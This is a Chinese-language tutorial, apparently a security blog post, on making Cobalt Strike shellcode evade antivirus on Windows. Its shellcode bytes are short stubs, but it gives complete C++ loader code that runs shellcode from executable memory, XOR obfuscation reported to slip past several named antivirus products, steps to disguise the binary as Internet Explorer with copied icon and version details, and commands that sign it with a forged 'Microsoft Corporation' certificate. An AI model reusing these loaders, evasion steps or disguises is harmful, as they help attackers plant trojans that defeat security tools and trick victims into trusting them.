0x01 简介

shellcode 不做免杀咋用嘛

0x02 实验环境

  • Windows x64

0x03 利用方法

3.1 shellcode 免杀处理

这里用 cs 来生成 shellcode

选择 C,根据实际情况来选择位数,生成的 buf 中的16进制字符便是 shellcode

这是一个最简单的 shellcode 加载器,先申请内存,然后将 shellcode 放入内存,然后再执行

#include <iostream>
#include "stdio.h"
#include "Windows.h"
using namespace std;

//去除窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")                        
// shellcode.c 的内容;
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";

int main()
{
    // 申请内存
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    // 将 shellcode 放入内存
    memcpy(Memory, shellcode, sizeof(shellcode));
    // 强转后数据地址变成函数指针,相当于数据变成了可执行的指令,执行 shellcode
    ((void(*)())Memory)();
}

经过测试,居然直接就能过360和管家,但是被火绒给查杀了

当我将 shellcode 去掉以后,程序就没问题,只保留 shellcode,把加载内存去掉,也会被杀,这就肯定是 shellcode 的问题了,那么就需要对 shellcode 进行混淆处理,这里我用最简单的异或

#include <iostream>
#include<fstream>
#include "stdio.h"
#include "Windows.h"
#include <cstring>
using namespace std;

// shellcode.c 的内容
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";
unsigned char encode[] = "";
// 异或对象
char key = 0x66;

int main()
{
    // 异或混淆
    for (int i = 0; i < sizeof(shellcode); i++) {
        encode[i] = shellcode[i] ^ key;
    }
    // 输出混淆后的 shellcode
    for (int i = 0; i < sizeof(shellcode); i++) {
        printf("\\x%0.2x", encode[i]);
    }
    printf("\n");
    system("pause");
}

将混淆的 shellcode 存着

接下来就是解密了,解密与加密的操作是一样的

#include <iostream>
#include "stdio.h"
#include "Windows.h"
using namespace std;

// 去除窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")                        
// 混淆的 shellcode
unsigned char thecode[] = "\x9a\x2e\xe5\x82\x96\x8e\xae";
unsigned char decode[] = "";
char key = 0x66;

int main()
{
    // 解密
    for (int i = 0; i < sizeof(thecode); i++) {
        decode[i] = thecode[i] ^ key;
    }
    // 加载
    LPVOID Memory = VirtualAlloc(NULL, sizeof(thecode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, decode, sizeof(thecode));
    ((void(*)())Memory)();
}

这时候就能够过火绒了,其他两个更是一点问题都没有

运行以后成功上线

3.2 伪装

目前我们的马是这样的,很难不让人怀疑,这就需要从外观来改造改造

这里我就模仿每台 windows 都有的 ie 浏览器

ico 图标我用 IconLover 工具来提取,打开 ie 浏览器所在的目录,然后保存图标

在 vs 中从资源文件 ——> 添加 ——> 资源 ——> Icon ——> 导入

除了图标,还有详细信息,在 vs 中从资源文件 ——> 添加 ——> 资源 ——> Version ——> 新建,照着填就行了,不过,© 这个符号在 vs 导出后会变成 ?,所以这里只能用 (c) 来将就了

接下来就是实现打开 ie 浏览器的操作了,在尝试了多个函数后我选择了 WinExec 函数

WinExec("C:\\Program Files\\Internet Explorer\\iexplore.exe", SW_HIDE);

其他一些函数比如 system 函数,路径是不能带空格的,不然它会把 Program 识别成命令,这里需要换种写法,像这样

WinExec("C:\\Progra~1\\Intern~1\\iexplore.exe", SW_HIDE);

将存在空格的名称用前6个字母表示,后面的用 ~1 代替,如:

Local Settings —— LocalS~1
Program Files —— Progra~1

那么,如果多个文件前6个字母相同的怎么办呢

Program Files
Progra Pics
Progra Videos
这三个依次排序 Progra~1 Progra~2 Progra~3

使用 ShellExecute 函数打开 ie 浏览器的时候,我的流量就被火绒拦截了,不清楚是为什么

好了,附上最终的代码

#include <iostream>
#include "stdio.h"
#include "Windows.h"
using namespace std;

// 去除窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")                        
// 混淆后的 shellcode
unsigned char thecode[] = "\x9a\x2e\xe5\x82\x96\x8e\xae";
unsigned char decode[] = "";
char key = 0x66;

int main()
{
    // 打开 ie 浏览器
    WinExec("C:\\Progra~1\\Intern~1\\iexplore.exe", SW_HIDE);
    // 解密
    for (int i = 0; i < sizeof(thecode); i++) {
        decode[i] = thecode[i] ^ key;
    }
    // 加载
    LPVOID Memory = VirtualAlloc(NULL, sizeof(thecode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, decode, sizeof(thecode));
    ((void(*)())Memory)();
}

这样看起来就好多了

与原程序对比

后台进程

再有闲心的也可以加个数字签名

# 创建证书,创建的时候要输入一个密码下面的 passwd 即密码
Makecert -sv shell.pvk -r -n “CN=Microsoft Corporatio” shell.cer
# 创建发行者证书,如果提示'Cert2spc' 不是内部或外部命令,也不是可运行的程序或批处理文件。需要到 Cert2spc 程序的目录去执行命令,下面同理
Cert2spc shell.cer shell.spc
# 从 pvk 文件中导出 pfx 文件
pvk2pfx -pvk shell.pvk -pi passwd -spc shell.spc -pfx shell.pfx -f
# 签名、打时间戳
signtool sign /f shell.pfx /p passwd /t http://timestamp.digicert.com /fd SHA256 iexploreshell.exe

查看效果

0x04 参考

那些shellcode免杀总结

(void(*)()exec)()的理解

CMD空格转义的三种方法,总有一种会解决问题

EXE签名工具SignTool使用教程